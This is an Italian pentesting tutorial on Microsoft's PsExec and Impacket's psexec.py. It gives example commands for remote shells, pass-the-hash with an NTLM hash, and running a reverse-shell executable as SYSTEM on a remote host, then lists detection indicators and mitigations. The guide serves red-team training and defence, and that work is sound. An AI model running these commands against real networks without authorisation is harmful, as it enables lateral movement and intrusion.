Tutorials

Guida Approfondita a PsExec

PsExec è uno strumento incluso nella suite Sysinternals sviluppata da Microsoft. È comunemente utilizzato dagli amministratori di sistema e dai penetration tester per eseguire comandi su sistemi remot

#exploitation#post-exploitation#windows

Guida Approfondita a PsExec

Introduzione

PsExec è uno strumento incluso nella suite Sysinternals sviluppata da Microsoft. È comunemente utilizzato dagli amministratori di sistema e dai penetration tester per eseguire comandi su sistemi remoti Windows, con o senza autenticazione esplicita. Questo tool permette l'esecuzione remota di eseguibili, l'accesso a shell interattive, e l'ottenimento di privilegi SYSTEM in alcuni casi.

Use Case in Ambito Pentesting

In ambito offensivo, PsExec viene utilizzato per:

  • Movimento laterale su una rete Windows.
  • Esecuzione di payload/metasploit su host remoti.
  • Escalation di privilegi tramite esecuzione con token SYSTEM.

Prerequisiti

  • Credenziali valide con privilegi amministrativi sul target.
  • La condivisione admin$ deve essere attiva sul target.
  • Il servizio Server deve essere in esecuzione sul target.
  • Il firewall deve permettere traffico SMB (porta 445).

Sintassi di Base

bash
PsExec.exe \\TARGET_IP -u DOMAIN\\USERNAME -p PASSWORD cmd

Opzioni Comuni

  • -s : Esegue il processo come utente SYSTEM.
  • -i : Permette l'interazione con il desktop dell'utente.
  • -d : Non attende la fine dell'esecuzione.
  • -h : Richiede token elevati se disponibili (per Vista+).

Esempi Pratici

Shell Remota con credenziali

bash
PsExec.exe \\192.168.1.10 -u Administrator -p Passw0rd cmd.exe

Esecuzione di un payload

bash
PsExec.exe \\192.168.1.10 -s -d C:\\temp\\reverse_shell.exe

Esecuzione come SYSTEM

bash
PsExec.exe -i -s cmd.exe

PsExec da Linux (Impacket)

Introduzione

La suite Impacket, sviluppata da SecureAuth, include una versione Python compatibile di PsExec (psexec.py) che permette l'esecuzione remota di comandi da Linux verso target Windows.

Installazione

bash
git clone https://github.com/fortra/impacket.git
cd impacket
pip install .

Sintassi di Base

bash
python3 examples/psexec.py DOMAIN/USERNAME:PASSWORD@TARGET_IP

Opzioni utili

  • -hashes LMHASH:NTHASH : Usa hash NTLM invece della password.
  • -k : Usa l'autenticazione Kerberos.
  • -dc-ip : Specifica l'IP del domain controller.

Esempi di utilizzo

Shell interattiva remota

bash
python3 examples/psexec.py administrator:Passw0rd@192.168.1.10

Uso di hash NTLM

bash
python3 examples/psexec.py -hashes :aad3b435b51404eeaad3b435b51404ee:cc36cf7a8514893efccd332446158b1a administrator@192.168.1.10

Rilevamento e Mitigazione

Indicatori di Compromissione

  • Creazione/avvio del servizio PSEXESVC.
  • Traffico SMB anomalo su porta 445.
  • Log di eventi Windows (ID 7045, 5140, 4624).

Mitigazioni

  • Disabilitare admin shares se non necessarie.
  • Segmentare la rete e applicare ACL su traffico SMB.
  • Abilitare il logging avanzato e monitorare i servizi creati dinamicamente.

Conclusione

PsExec è uno strumento potente, ma anche pericoloso in mani sbagliate. In ambito red team, può essere fondamentale per muoversi lateralmente e consolidare l’accesso. È essenziale però, in ambito difensivo, saperne riconoscere i pattern d’uso e adottare contromisure adeguate.


Risorse Utili